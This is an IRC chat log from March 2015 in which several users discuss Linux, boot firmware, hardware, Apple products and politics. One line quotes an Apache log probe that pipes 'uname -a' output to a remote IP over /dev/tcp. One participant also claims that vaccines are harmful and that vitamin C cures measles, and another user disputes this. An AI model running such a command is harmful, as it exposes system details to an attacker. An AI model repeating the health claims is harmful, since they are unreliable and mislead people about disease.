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msb_New anime' on Cartoon Network -- Kill LaKill.  Girl's magical uniform gives her superpowers, but only if she dresses with her breasts partly showing.Mar 08 04:42
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MinceRhttp://i.imgur.com/VennegN.jpgMar 08 06:18
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cubexyzthat just shows how gullible people are :)Mar 08 06:27
MinceRindeedMar 08 06:27
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msb_People are bombarded by mass media with the names and doings of movie/tv actors, sports players, musicians/singers, and they know these things.  Mar 08 09:46
msb_But they know nothing about elementary chemistry, physics, biology, and can't do arithmetic (which they call "math").Mar 08 09:47
msb_So the rulers can push any sort of toxic drugs, pollution, poisoned food, etc., on them, and as long as it's accompanied by lying propaganda in the MSM that it's OK, they go for it.Mar 08 09:49
msb_And call anyone who tries to tell them the truth a "conspiracy theorist".Mar 08 09:49
MinceRon the flip side, people who know nothing about elementary chemistry get scared about every chemicalMar 08 09:50
msb_Purposely programmed ignorance and stupidity.Mar 08 09:50
msb_But the MSM doesn't tell them about chemicals.Mar 08 09:51
msb_So they don't get scared, but just "consume".Mar 08 09:51
msb_e.g., GMMar 08 09:52
msb_e.g., GMO food, vaccinesMar 08 09:52
MinceRfor example, some people get scared by "E-numbers", regardless of what chemical they coverMar 08 09:53
msb_info on Vit. C is suppressed so that billions of $ a year can be made on flu symptom drugs and vaccinesMar 08 09:53
msb_E-number food ingredients?   Those are not used in US food labelling.Mar 08 09:54
msb_Which is a good thing because there's no way to find out what they mean in the grocery store.Mar 08 09:55
MinceRyeah, it's not like you have a mobile device with internet connection and a web browser :>Mar 08 09:56
msb_Even if  you do it's much better to have the actual name of the chemical on the package label.Mar 08 09:57
msb_E-numbers are probably used to hide the info from the buyer.Mar 08 09:58
msb_.Mar 08 10:04
msb_My car battery is flat but I can't jump it because it's up against a wall, and won't  shift into neutral with the battery dead.Mar 08 10:05
msb_So I bought a gadget from Amazon that's supposed to charge it via the cig lighter socket.  Will try it today.Mar 08 10:06
MinceRautomatic transmission prevents shifting into neutral with the battery dead?Mar 08 10:07
msb_Tried 8 auto stores around here and none of them sell it.Mar 08 10:07
MinceRalso, can't you just open the hood, take the battery out (or just disconnect it) and charge it?Mar 08 10:07
msb_On a Mitsubishi Outlander.  Mar 08 10:07
msb_WHich also gets 11mpg city instead of the advertised 19.Mar 08 10:08
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msb_I call the car Hiroshima's Revenge.Mar 08 10:08
msb_The hood is under an overhang in the carport and can't be raised.Mar 08 10:09
MinceRlolMar 08 10:09
msb_At least it has a powerful engine and a lot of cargo space -- SUV.Mar 08 10:10
msb_And 4 wheel drive.Mar 08 10:12
msb_The engine will skid the tires if you apply too much power.Mar 08 10:12
msb_The steering is tight - very little play.Mar 08 10:13
MinceRdoesn't sound like a bad carMar 08 10:13
msb_except for the low mileage, and now this shifter problemMar 08 10:14
MinceRSUVs tend to have low mileageMar 08 10:14
MinceRand the current problem sounds like it's parked in the wrong placeMar 08 10:14
msb_sure, but only 58% of advertised value?Mar 08 10:14
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msb_It's parked in my apartment's designated space -- the only one I have.Mar 08 10:15
msb_If I'd known I was going to be housebound with medical problems for 6 months I would have had someone run it occasionally to keep it charged.  Now I know.Mar 08 10:16
MinceRicMar 08 10:16
msb_The circuit pod in the jumper cable is pretty heavy, so maybe it contains current-limiting ciruitry to avoid blowing the cig lighter fuse.Mar 08 10:17
MinceRi hope that gadget worksMar 08 10:18
msb_I was going to make my own jumper from a cig lighter  plug, which I probably could get locally, but that might have blown the 10 amp fuse.Mar 08 10:18
msb_Thanks!Mar 08 10:18
msb_It has good reviews in Amazon.Mar 08 10:19
msb_Only cost about $30 with shipping.Mar 08 10:19
msb_Charging may take 15 minutes or more.Mar 08 10:20
msb_It can]Mar 08 10:20
msb_It can't carry the starting current like jumper cables can.Mar 08 10:20
MinceRhttps://fbcdn-sphotos-b-a.akamaihd.net/hphotos-ak-xpf1/t31.0-8/p960x960/11020459_869334836458228_5241808518850881002_o.jpgMar 08 10:21
msb_What does that say?  Prize pigs?Mar 08 10:22
msb_Sorry, I can't read Russian, and can't get the text into google translate.Mar 08 10:26
msb_I dishonor my ancestors.  8^)Mar 08 10:26
msb_MinceR: Please tell me.  It can't be as bad as your "Putler" picture.Mar 08 10:27
msb_Come on.  Or I will have to ask XRevan86 when he comes back.Mar 08 10:29
MinceRdunno, it says something about the 15th of marchMar 08 10:31
MinceRwhich is the anniversary of a hungarian revolutionMar 08 10:31
MinceRand the cockades would normally be in the colors of the hungarian flag, of courseMar 08 10:32
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MinceRas it turns out, the text basically means the celebration of the 15th of marchMar 08 10:33
msb_Thanks! I was about to spend a couple of hours getting an OCR program running.Mar 08 10:33
msb_I think "Prize Pigs" would be a pretty good caption.Mar 08 10:34
MinceRi just typed in the romanized version of the first word in google translate and have it transliterate it to russian cyrillic :>Mar 08 10:34
MinceRlolMar 08 10:34
MinceR(i was too lazy to bring up a phonetic russian keyboard layout)Mar 08 10:35
msb_Sometimes google-translate doesn't work very well.Mar 08 10:37
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MinceRit tends to act like a dictionary if it's given a single wordMar 08 10:40
MinceRlisting meanings, etc.Mar 08 10:40
msb_That's good.Mar 08 10:40
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cubexyzmsb_> But they know nothing about elementary chemistry, physics, biology, and can't do arithmetic (which they call "math")Mar 08 19:47
cubexyzwell in this day and age of free online information there's really no excuseMar 08 19:48
cubexyzthe only thing is, if you're really poor you might not have easy access to internetMar 08 19:48
MinceRit's easier to regurgitate memes than to learnMar 08 19:49
msb_In order to make people easier to control, the rulers program them NOT to think.Mar 08 19:50
MinceRfor many people, it might be as easy as not teaching them to think [critically]Mar 08 19:51
msb_The JCI religions do that: "Believe that this undetectible God created and controls the Universe, or I'll punish you."Mar 08 19:52
msb_MinceR: Maybe.  It's hard to tell.Mar 08 19:52
msb_But there is heavy programming to not think.Mar 08 19:53
msb_"sit in this chair for 12 years, remember what I tell you and give you to read.  don't question it, or you will not succeed in life."Mar 08 19:54
MinceRyeah, religion helps a lotMar 08 19:54
MinceRthen again, people left to themselves come up with religion eventuallyMar 08 19:54
TweetTuxMachines@tuxmachines     A Closer Look At Canonical’s Ubuntu PhonesMar 08 19:56
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msb_In any case, as cubexyz said, info on science is now available for free, and accessing it gives some training in thinking.Mar 08 19:56
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cubexyzthere's ALISON and MIT OpenCourseware... the only limit is a computer with an internet connectionMar 08 19:57
msb_Any person whose bogus beliefs we are talking about, we have learned about via the Net, so they do have Net access.Mar 08 19:58
msb_cubexyz: Never heard of those.  I just use wikipedia and google.Mar 08 19:59
cubexyzI was so disappointed that an old associate of mine who had a background in chemisty said he forgot his book with the periodic tableMar 08 19:59
cubexyzhe was a microsoft windows user... I felt like yelling at him... why don't you use kalzium?Mar 08 20:00
MinceRwikipedia has a periodic table too :>Mar 08 20:00
MinceRand uncyclopedia has an idiotic table insteadMar 08 20:00
cubexyzof course I didn't want to get into the windows/linux argument yet againMar 08 20:00
cubexyzok :)Mar 08 20:00
msb_is kalzium a kde program?Mar 08 20:00
cubexyzmsb_, yesMar 08 20:01
msb_must be kde4 -- I don't have itMar 08 20:01
cubexyzit's notMar 08 20:01
cubexyzit's been around a long timeMar 08 20:01
cubexyzit might not be part of kdebase thoughMar 08 20:02
cubexyzintroduced with KDE 3.1 I believeMar 08 20:03
cubexyzmsb_, ALISON is quite nice, good for a refresher courseMar 08 20:03
cubexyzhttp://www.alison.comMar 08 20:04
-TechrightsBot-tr/#techrights-alison.com | Free Online Courses, Workplace Skills Training, Interactive Education and Multimedia Learning | ALISONMar 08 20:04
msb_getting it now, bringing in a lot of stuffMar 08 20:05
cubexyzpart of kdeeduMar 08 20:06
msb_ocaml, libavogadro -- who woulda thunk it!Mar 08 20:06
cubexyzit's awkward for me with a few of my friends, a couple of them even want to work for microsoft :-/Mar 08 20:07
cubexyzI feel my relatively early exposure to Xenix helped me learn Minix/Linux/BSD etcMar 08 20:08
msb_My parents told me to work for ms.Mar 08 20:11
msb_kalzium is very nice!Mar 08 20:11
cubexyzit is :)Mar 08 20:12
cubexyzto me, Linux has become the thinker's OSMar 08 20:12
msb_The one the Suse repo gave me is from KDE4.6.0Mar 08 20:13
msb_cubexyz: absolutely!Mar 08 20:13
msb_That's why we must fight mightily to free it from systemd!Mar 08 20:14
msb_On the subject of thinking, in order to be truly conscious, one must be able to examine one's own mind -- to hold it as an object of contemplation, and to investigate where each of our beliefs came from.Mar 08 20:16
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msb_Only then can we use logical principles like non-contradiction, and organic principles like do-no-harm and help-where-possible, to shape/guide our belief structure -- our model of the Universe and of ourself -- to be accurate.Mar 08 20:19
msb_...as accurate as we can be, which is a moving goal.Mar 08 20:20
msb_To me, that is critical thinking.Mar 08 20:21
msb_I think that people who don't do that do not have free will.Mar 08 20:21
msb_They are controlled by others!Mar 08 20:21
msb_They are sleepwalkers.Mar 08 20:22
msb_Perhaps some old Greek philosophers realized this, I don't know.  But I got it from Gurdjieff, who called it self-observation.  Best accessed in PD Ouspensky's book _In Search of the Miraculous_.Mar 08 20:24
cubexyzI'm not sure how bad the non-thinking trend isMar 08 20:24
MinceRseems pretty badMar 08 20:25
cubexyzjudging purely by operating system choices it seems bad Mar 08 20:25
MinceRbetween religion, the move towards more restrictive political systems and the fall of general-purpose computingMar 08 20:25
msb_Also by religions.  Islam -- gag!Mar 08 20:25
MinceRincreasing anti-science stancesMar 08 20:26
cubexyzin the USA yes, but what about Europe?Mar 08 20:26
cubexyzEuropeans generally seem to be well educatedMar 08 20:26
msb_MinceR: the label "anti-science" is also used by the rulers to smear people who talk about the harms caused by vaccines.Mar 08 20:27
cubexyzof course there are smart well educated Americans alsoMar 08 20:27
MinceRmsb_: anti-vaxxers are anti-scienceMar 08 20:28
MinceRcubexyz: in europe, hungary turned into a christian fundamentalist dictatorshipMar 08 20:28
MinceRand putler's hordes are annexing parts of the next countryMar 08 20:28
MinceRnobody seems to mind it muchMar 08 20:29
MinceRand our rights are being taken away pretty much the same as in the usaMar 08 20:29
msb_MinceR: there are many good videos and websites on the harm caused by vaccines.  Will you access some if I point you to them?Mar 08 20:29
MinceRmsb_: sometime maybeMar 08 20:29
MinceRmeanwhile, plagues we thought to have defeated have risen up again, thanks to anti-vaxxer histeriaMar 08 20:30
MinceRs/his/hys/Mar 08 20:30
msb_And of course Ukraine was taken over by US-backed Nazis, and Putin annexed Crimea after an overwhelming vote by its citizens to join Russia.Mar 08 20:30
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msb_Vitamin C immediately remedies viral "plagues" like the now-dreaded measles.  Mar 08 20:31
msb_But that knowledge has been suppressed by the rulers.Mar 08 20:32
MinceRyes, ukraine is being annexed by putler's nazisMar 08 20:34
msb_MinceR: you are living about 60 years ago.Mar 08 20:35
MinceRmsb_: no, your favorite dictator isMar 08 20:35
MinceRmsb_: do you have reproduced, peer-reviewed studies regarding vaccines and vitamin c or just timecube-like ramblings?Mar 08 20:35
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msb_I have articles about Klenner curing polio with it in moderated doses in the 1950s.Mar 08 20:36
msb_Websites with many articles by MDs.Mar 08 20:37
msb_I saw it cure measles in a few hours personally.Mar 08 20:37
MinceRno double-blind testing, no control groupMar 08 20:38
MinceRno peer reviewMar 08 20:38
MinceRnot reproducibleMar 08 20:38
MinceRsounds like science to me!Mar 08 20:38
msb_MinceR: You are lying when you say Putin is a dictator, and my favorite.  You refuse to give quotes from me to justify your lies.Mar 08 20:38
msb_People don't do double-blind studies with Mar 08 20:39
msb_Vit. Mar 08 20:39
MinceRyou're trying to whitewash putler because you can't see beyond the most primitive symbols fascists use to try and make themselves seem different from the other fascistsMar 08 20:39
msb_Vit.  C because there is no one to pay for them.  Big Pharma can't make money by selling it.Mar 08 20:40
MinceRyet they sell itMar 08 20:40
MinceRbut i'm sure you have proof that it's a charity.Mar 08 20:40
msb_MinceR: It's impossible to have a coherent discussion with you about areas where your beliefs are untrue.Mar 08 20:42
msb_MinceR: Because you constantly misrepresent what I've said, and you constantly use straw-man arguments.Mar 08 20:43
msb_MinceR: You are not intellectually honest.Mar 08 20:43
MinceRmsb_: it's impossible to have a discussion you consider coherent where someone else doesn't agree with your beliefsMar 08 20:43
MinceRmsb_: you also have no idea what science or a dictatorship isMar 08 20:44
msb_MinceR: You assign aberrant meanings to words, thus making discussion impossible.Mar 08 20:44
MinceRyou have never asked what meaning i assigned to words and you appear to be unaware of the generally accepted meanings of wordsMar 08 20:45
msb_you use "fascist" to mean "authoritarian".Mar 08 20:46
MinceRwhich is a generally accepted usageMar 08 20:46
msb_And you claim that all socialism is authoritarian.Mar 08 20:46
MinceRbut i'm sure you believe that if an authoritarian regime is decorated with five-pointed stars, sickles and hammers, it's not authoritarian anymoreMar 08 20:47
MinceRmany hungarians believe the same, while many others believe the same for swastikas and arrow-crosses.Mar 08 20:47
msb_that "generally accepted usage" is promoted by fascist rulers to prevent people from thinking about democratic socialismMar 08 20:47
MinceRthere's no democratic socialism in practice.Mar 08 20:47
msb_You are lying about what you claim I beliefe.Mar 08 20:48
MinceRthe countries you keep pointing as "democratic socialism" are either not democratic (the usual case) or not socialist.Mar 08 20:48
msb_Venezuela, Nicaragua, Libya before the US destroyed it -- all democratic, and all largely socialist.Mar 08 20:49
MinceRby the way, i've seen pretty close people who switched symbols between the two camps and kept the practicesMar 08 20:49
MinceRi'm being ruled by them.Mar 08 20:49
MinceRand they love your favorite dictator, too.Mar 08 20:49
MinceRi will not comment on whether those are socialist, as you like to practice doublethink in this case, but neither of those are democratic.Mar 08 20:50
msb_MinceR: Again, and constantly, you lie about "your favorite dictator".Mar 08 20:50
MinceRwhy, is there any other dictator you were trying to whitewash as often here?Mar 08 20:51
msb_MinceR: Again, and constantly, you are lying using straw-man technique.Mar 08 20:51
MinceRevading the question.Mar 08 20:52
msb_MinceR: Your "question" contains lies and therefore cannot be answered.Mar 08 20:53
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*roy_away boycottnovelll-socialMar 09 00:05
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msb_http://hf.dilbert.com/strip/2015-03-01Mar 09 05:43
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cubexyzI wonder what this is supposed to do:Mar 09 05:58
cubexyz/bin/uname -a > /dev/tcp/67.228.177.7/23Mar 09 05:58
cubexyzshowed up today in the apache logMar 09 05:58
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msb_cubexyz: Send info about your system to someone so they can A. tabulate how many people are using various kinds of Linux or B. find a weakness in your OS so they can do something horrible to you.Mar 09 07:24
msb_cubexyz: If you can find a picture of the recipient, see if he looks like the guy in the last panel of this cartoon:  http://hf.dilbert.com/strip/2015-02-02Mar 09 07:30
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MinceRgeekingsMar 09 10:15
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gde33MinceR: if you cant critically examine all sides of a topic we will have to make a whole internet filled with the same explainations again and againMar 09 10:53
gde33be careful what you wish forMar 09 10:54
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cubexyzmsb_, my uname returns: 'This is Plan 88 SuperOS' :)Mar 09 18:03
cubexyzthey also try to use /dev/udp/ip-addr/80 but it doesn't workMar 09 18:04
cubexyzit's just 404Mar 09 18:04
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MinceRgnMar 09 21:17
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cubexyzhttp://cubexyz.blogspot.ca/2015/03/easy-way-to-get-coreboot.html Mar 09 21:33
-TechrightsBot-tr/#techrights-cubexyz.blogspot.ca | Notes on Linux: Easy Way to Get Coreboot [ http://ur1.ca/jvpo5 ]Mar 09 21:33
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cubexyzmicrosoft patents revealed by Chinese gov:Mar 09 23:24
cubexyzhttp://www.maxhost.org/other/microsoft-patents-revealed.pdfMar 09 23:24
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msb_Holy Crap!  Bit errors that can occur in RAM chips from certain access patterns!    http://googleprojectzero.blogspot.ie/2015/03/exploiting-dram-rowhammer-bug-to-gain.htmlMar 10 00:13
-TechrightsBot-tr/#techrights-googleprojectzero.blogspot.ie | Project Zero: Exploiting the DRAM rowhammer bug to gain kernel privileges [ http://ur1.ca/jvqaa ]Mar 10 00:13
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cubexyzha, my older DRAM is safe :)Mar 10 00:21
cubexyzbut I'll get a mag core just to be sureMar 10 00:22
cubexyzcosmic rays could also flip a bitMar 10 00:26
cubexyzwould be nice to know exactly what DRAM was testedMar 10 00:26
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msb_cubexyz: yes, core planes are safe!Mar 10 01:05
msb_This is like back in the 80s, when RAM chips could flip from alpha particles in the epoxyMar 10 01:07
cubexyzI think they started to switch to semiconductor memory with the PDP-8AMar 10 01:11
msb_I was working with DG Eclipse and 3rd party RAM cards.Mar 10 01:11
msb_IIRCMar 10 01:11
cubexyz12 KW of mag core in the PDP-11/20, but I think it could be expandedMar 10 01:13
cubexyzso the DG Eclipse had dram?Mar 10 01:14
msb_Whatever board we put in it did.Mar 10 01:20
cubexyzI think the last mag core machine from DEC was the PDP-11/45Mar 10 01:20
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cubexyzmsb_, I'm a bit hazy on the memory of the PDP-11/45 Mar 10 02:34
cubexyzdocumentation says you can have magnetic core, MOS or bipolar memoryMar 10 02:35
cubexyznot at all clear if it stacks those or if it's an either/or situationMar 10 02:35
cubexyzbut it does seem that mag core was phased out mostly by the late 1970sMar 10 02:36
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cubexyz11/40 actually came later than the 11/45, starts out with core memory and later on gets MOS memoryMar 10 02:38
cubexyzthat seems to say that it's one or the other, but not bothMar 10 02:38
msb_That is not dead which can eternal lie, And with strange aeons even death may die. -- HP LovecraftMar 10 02:38
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MinceRgeekingsMar 10 08:13
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TweetTuxMachines@tuxmachines     Don't forget one of Linux's best features: HowMar 10 12:40
TweetTuxMachines                 to use multiple workspacesMar 10 12:40
TweetTuxMachines                 http://t.co/fr88IKT9vS (www.tuxmachines.org)Mar 10 12:40
TweetTuxMachines........................................  http://ur1.ca/jvusyMar 10 12:40
-TechrightsBot-tr/#techrights-www.tuxmachines.org | Don't forget one of Linux's best features: How to use multiple workspaces | Tux MachinesMar 10 12:40
TweetTuxMachines@tuxmachines     COM Express module runs Linux on 3.6GHz BaldMar 10 12:40
TweetTuxMachines                 Eagle http://t.co/lSEMPtM4evMar 10 12:40
TweetTuxMachines                 (www.tuxmachines.org)Mar 10 12:40
TweetTuxMachines........................................  http://ur1.ca/jvut0Mar 10 12:40
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MinceRhttp://www.zerohedge.com/news/2015-03-10/apple-watch-may-be-doa-cook-admits-battery-life-low-3-hoursMar 10 12:42
-TechrightsBot-tr/#techrights-www.zerohedge.com | Apple Watch May Be DOA As Cook Admits Battery Life As Low As 3 Hours | Zero Hedge [ http://ur1.ca/jvutq ]Mar 10 12:42
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MinceRhttp://i.4cdn.org/g/1426007608645.jpgMar 10 14:21
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Sosumihttp://www.macrumors.com/2015/03/10/leaked-cia-documents-hacked-xcode/Mar 10 14:52
-TechrightsBot-tr/#techrights-www.macrumors.com | Leaked Documents Suggest CIA Work on Hacked Version of Xcode, OS X Installer Exploit - Mac Rumors [ http://ur1.ca/jvvo8 ]Mar 10 14:52
Sosumiand on the zerohedge articleMar 10 14:53
SosumiI don't see any use for "smart" watchesMar 10 14:53
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Sosumia simple band with sensors would be much more effectiveMar 10 14:53
MinceRi'd rather have a HUD on my glassesMar 10 14:54
Sosumiwell, and maybe that band could include a vibrator for notificationsMar 10 14:54
Sosumibut that is itMar 10 14:54
Sosumiyes augmented reality would be awesomeMar 10 14:54
Sosumibut seriously, the iwatch is and seems like plain junkMar 10 14:55
Sosumimy casio watch seems much more functionalMar 10 14:55
Sosumiplus, it recharges with sunlight and is made out titaniumMar 10 14:55
MinceRand the battery lasts longer than 18 hours :>Mar 10 14:56
Sosumithe battery lasts 3 monthsMar 10 14:56
Sosumidepending on usageMar 10 14:56
MinceRunfortunately, my wrist doesn't tolerate straps wellMar 10 14:57
MinceRso i stopped wearing a watch ages agoMar 10 14:57
Sosumihttp://www.skywatches.com.sg/reviews/media/catalog/product/cache/1/image/040ec09b1e35df139433887a97daa66f/p/r/prg-130t-7v_1.jpgMar 10 14:57
Sosumiit's that oneMar 10 14:58
Sosumiwell I use a wrist watch mostly because I don't always carry a cell phone on meMar 10 14:58
Sosumiand ofc, they don't allow you to use the cell phone for time keeping during testsMar 10 14:58
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Sosumibut what seems ridiculous is that they're making a $10k of itMar 10 15:03
Sosumiand multiple sizesMar 10 15:03
Sosumiinstead of one size fits allMar 10 15:03
MinceR$10k: they know their audienceMar 10 15:03
MinceRmultiple sizes: they don't know their audienceMar 10 15:03
SosumiI think they know nothingMar 10 15:04
MinceR:>Mar 10 15:04
Sosumi10k for watch that after one year is going to become e-wasteMar 10 15:04
Sosuminot to mention the other watchesMar 10 15:04
Sosumiwhy not make it a single model out of steel with 3 types of bracelets and call it a dayMar 10 15:05
MinceR>why not do things that make senseMar 10 15:05
MinceRthey're apple.Mar 10 15:06
Sosumisimpler, more units available and cheaper to produceMar 10 15:06
Sosumiwell, apple during the steve "blobs" day used to have a oversimplified line up of productsMar 10 15:06
Sosumibut now, they're kind of over-stretchingMar 10 15:07
Sosumias for me, I just want the watch to fail miserablyMar 10 15:07
Sosumiand have a laugh at the idiots who actually bought that thingMar 10 15:08
MinceRi want crApple, micro$atan and DeadRat to die togetherMar 10 15:08
Sosumiwhat about novell?Mar 10 15:08
Sosumi:)Mar 10 15:09
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MinceRaren't they dead already?Mar 10 15:11
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Sosumiit was a jokeMar 10 15:16
Sosumi:)Mar 10 15:16
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Sosumihttps://www.schneier.com/blog/archives/2015/03/can_the_nsa_bre_1.htmlMar 10 15:49
-TechrightsBot-tr/#techrights-www.schneier.com | Schneier on Security: Can the NSA Break Microsoft's BitLocker? [ http://ur1.ca/jvw0i ]Mar 10 15:49
MinceRdoes the nsa need to do so?Mar 10 15:50
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SosuminoMar 10 16:31
Sosumior should I sayMar 10 16:32
Sosumisupposedly they don't need toMar 10 16:32
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MinceRhttp://www.ft.com/cms/s/0/1d3e1d64-c0d6-11e4-876d-00144feab7de.html   (google cache circumvents the paywall)Mar 10 17:39
-TechrightsBot-tr/#techrights-www.ft.com | Vladimir Putin’s survival strategy is lies and violence - FT.com [ http://ur1.ca/jvwsb ]Mar 10 17:39
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MinceRhttp://www.euractiv.com/sections/global-europe/romanian-spy-chief-warns-threat-eu-hungary-312302Mar 10 19:55
-TechrightsBot-tr/#techrights-www.euractiv.com | Romanian spy chief warns of ‘threat for EU from Hungary’ | EurActiv [ http://ur1.ca/jvxj1 ]Mar 10 19:55
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MinceRgnMar 10 20:29
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cubexyzin a way Chromebooks and Chromeboxes have defeated the Microsoft TaxMar 11 03:57
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roy_back...Mar 11 07:01
msb_roy_: Hi!Mar 11 07:03
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msb_cubexyz: Is it impossible to run MSWindows on the Chrome*, so MS can't claim that's what people are buying them for?Mar 11 07:03
roy_I think it's possibleMar 11 07:05
roy_or becoming possibleMar 11 07:05
roy_as of lateMar 11 07:05
cubexyzyou can't run M$ Windows on Lemote eitherMar 11 07:05
msb_ick!Mar 11 07:05
roy_not that people would want to pay the price of ha;f a chromebook to run a more crappy OS (than ChromeOS)Mar 11 07:05
cubexyzbut chromeboxes are a different storyMar 11 07:05
msb_I'm for software freedom, but I'm glad to see computers that can't run MS-Windows!Mar 11 07:07
cubexyzchromebook/box is still x86Mar 11 07:08
cubexyzLemote is mipsMar 11 07:08
msb_AhMar 11 07:09
cubexyzbut the big thing is that you have a FOSS bios, not a proprietary oneMar 11 07:09
MinceReven on a Lemote, you could run winblows with qemu :>Mar 11 07:09
cubexyzcould you run windows 8 under qemu?Mar 11 07:11
MinceRi've never triedMar 11 07:11
MinceRare there any new tricks to prevent it?Mar 11 07:11
cubexyzugh, it's horrible to even think about :)Mar 11 07:11
cubexyzsure, secureboot for one Mar 11 07:11
msb_CoreBoot should have a default setting that if you try to run Windows on it it just makes a rude noise.Mar 11 07:11
MinceR:DMar 11 07:12
MinceRdoes vista8 complain if you boot it with BIOS?Mar 11 07:12
roy_not secure for the monopolyMar 11 07:12
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XRevan86MinceR: no…Mar 11 07:13
cubexyzGoogle did something smart, they teamed up with the coreboot folksMar 11 07:13
XRevan86Vista8 does not care whether it's booted via UEFI, UEFI+SecureBoot or BIOS MBRMar 11 07:13
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XRevan86It did notify user while booting without SecureBoot with UEFI but stopped.Mar 11 07:15
XRevan86with some updateMar 11 07:15
XRevan86http://main.makeuseoflimited.netdna-cdn.com/wp-content/uploads/2013/11/windows81_secureboot_watermark.jpgMar 11 07:16
cubexyzI'm told that you can't disable secure boot on ARMMar 11 07:18
XRevan86cubexyz: Indeed.Mar 11 07:19
cubexyzand it's actually pretty hard to buy a LemoteMar 11 07:19
XRevan86On practice it means it is impossible to run other OS on Surface non-Pro and their crappy smartphones.Mar 11 07:20
MinceRgood thing their hardware sucks, then :>Mar 11 07:22
XRevan86I wonder what stops from running Шindows on x86 ChromebooksMar 11 07:23
XRevan86there are implementations of UEFI for corebootMar 11 07:24
XRevan86Still, it is possible that coreboot is not that flexible but I just don't have the knowledge.Mar 11 07:24
cubexyzthere's nothing about coreboot that precludes using windowsMar 11 07:24
cubexyzso windows on chromebooks is probably possibleMar 11 07:25
XRevan86cubexyz: There is no "compatible with Vista 8.1" label on it!Mar 11 07:26
XRevan86I guess this is it.Mar 11 07:26
cubexyzha, well drives could be a problemMar 11 07:26
cubexyzdriversMar 11 07:26
cubexyznot sure about it... but coreboot by itself doesn't make it impossibleMar 11 07:26
XRevan86I think complectation is quite standardMar 11 07:26
XRevan86on x86 chromebooksMar 11 07:26
XRevan86ARM editions is another story of course.Mar 11 07:27
cubexyzit seems like a silly thing to do thoughMar 11 07:27
XRevan86cubexyz: There are people who buy macbooks and then^W^WMar 11 07:27
XRevan86"Silly thing to do" was never a problem :DMar 11 07:28
msb_XRevan86: "complectation" ?Mar 11 07:28
XRevan86msb_: stuff insideMar 11 07:28
XRevan86motherboard, processor, network cards, etc.Mar 11 07:29
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msb_thanksMar 11 07:30
msb_Is it impossible to run an arbitrary OS on ARM without the OS being commercially registered?Mar 11 07:30
XRevan86msb_: No, it is possible but…Mar 11 07:31
XRevan86ARM's are not that standardizedMar 11 07:31
XRevan86Driver problems on ARM's happen even on Linux.Mar 11 07:31
msb_XRevan86: But secure boot doesn't prevent loading it?Mar 11 07:33
XRevan86msb_: I thought you are talking about Chromebooks.Mar 11 07:34
cubexyza lot of ARM stuff predates secure boot, so of course that would work fineMar 11 07:34
cubexyze.g. zaurus can run BSDMar 11 07:34
XRevan86SecureBoot and UEFI on ARM is a Microsoft-only thing.Mar 11 07:34
XRevan86Шindows Mobile/Phone, Microsoft Surface, etc.Mar 11 07:34
XRevan86(Шindows Phone 10 is going to be Шindows Mobile 10 again)Mar 11 07:35
cubexyzARM Holdings licenses the chip designs to third partiesMar 11 07:37
cubexyzARMv4 was strongARM and used in the Sharp ZaurusMar 11 07:38
cubexyzI think it's up to ARMv8 nowMar 11 07:38
msb_I thought UEFI prevented any OS from booting that wasn't registered by MS.  So it was a MS weapon against Linux.Mar 11 07:40
cubexyzok, Microsoft Surface uses ARMv7 cpusMar 11 07:40
cubexyzbut there's a bunch of other ones as wellMar 11 07:41
cubexyznot sure if ARMv8 is even out yetMar 11 07:41
cubexyzthe point of UEFI wasn't really to lock out Linux, it was to replace BIOSMar 11 07:42
msb_This is all too confusing.  I'm gonna find my old 8088 PC and watch movies in ASCII.Mar 11 07:42
cubexyzBIOS has the real mode limitations...Mar 11 07:42
cubexyz1 megabyte window for memoryMar 11 07:43
cubexyzUEFI is needed to boot from big hard drives, like > 2 terabytesMar 11 07:44
cubexyzBIOS was designed for a IBM 5150 :)Mar 11 07:44
cubexyzbut UEFI has a lot of Microsoft influenceMar 11 07:45
cubexyzpeople are right to be worried about itMar 11 07:45
XRevan86I see a lot of messing up with terms GPT, UEFI and SecureBoot :)Mar 11 07:46
XRevan86> UEFI is needed to boot from big hard drives, like > 2 terabytesMar 11 07:46
XRevan86GPTMar 11 07:46
XRevan86> I thought UEFI prevented any OS from booting that wasn't registered by MSMar 11 07:46
XRevan86SecureBootMar 11 07:46
XRevan86Also SecureBoot is disableable on every x86 PC which is known to man.Mar 11 07:47
msb_But I could hack the IBMPC bios by putting in interrupt traps.  Life was good!Mar 11 07:47
cubexyzGUID is part of UEFIMar 11 07:48
XRevan86cubexyz: GPT is just a partition table. You can use it without UEFI.Mar 11 07:48
XRevan86GRUB can work with GPT on MBR BIOS.Mar 11 07:49
msb_I thought Linux ignored the bios once it got going.Mar 11 07:49
msb_So there would not be disk size limitations.Mar 11 07:50
XRevan86The only disadvantage of using GPT on MBR BIOS is unsupportance by… Шindows.Mar 11 07:50
XRevan86So I did use GPT on MBR BIOS since I don't use this OS :).Mar 11 07:50
msb_What do I need to run 3 or 4TB WD drives with Linux?Mar 11 07:51
XRevan86https://wiki.archlinux.org/index.php/GUID_Partition_Table#BIOS_systemsMar 11 07:51
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msb_These may be a "sweet spot" now.Mar 11 07:51
cubexyzI think the 2 terabyte limit is a MBR limitMar 11 07:52
cubexyz2^32 * 512 bytesMar 11 07:53
XRevan86The only thing GRUB requires on such configuration is a 2 MiB partition marked as bios-grub (parted terminology)Mar 11 07:53
cubexyzthere's probably a way around it Mar 11 07:54
XRevan86cubexyz: GPTMar 11 07:54
XRevan86I just said how easy it is to use GPT on non-UEFI BIOS :).Mar 11 07:54
XRevan86thanks to GRUBMar 11 07:54
cubexyzthe boot loader and the OS must be GPT compatibleMar 11 07:55
XRevan86cubexyz: GRUB and LinuxMar 11 07:55
XRevan86Windows Loader and Windows won't work, yes.Mar 11 07:55
cubexyzso is GPT larger than MBR I assume?Mar 11 07:56
XRevan86Windows refuses to work with GPT without UEFI.Mar 11 07:56
MinceRthe design of uefi is full of microsoft garbageMar 11 07:56
MinceRPE, FATMar 11 07:56
MinceRalso, don't let the fact that they let you disable Restricted Boot for now fool youMar 11 07:56
XRevan86cubexyz: https://upload.wikimedia.org/wikipedia/commons/b/bb/GNU_GRUB_on_GPT_partitioned_hard_disk_drives.svgMar 11 07:56
XRevan86MinceR: Yeah, this might stop after Windows 7 loosing popularity enough.Mar 11 07:57
MinceRthe only reason their logo requirements don't include mandatory non-disableable Restricted Boot is that they had PR backlash for itMar 11 07:57
cubexyzoh, the GPT is separate from MBRMar 11 07:58
schestowitzMinceR: LOL at http://i.imgur.com/1HrVduw.jpgMar 11 07:58
XRevan86cubexyz: A totally different partiiton table.Mar 11 07:58
schestowitzhe comes in many formsMar 11 07:58
cubexyzand the size depends on sector sizeMar 11 07:58
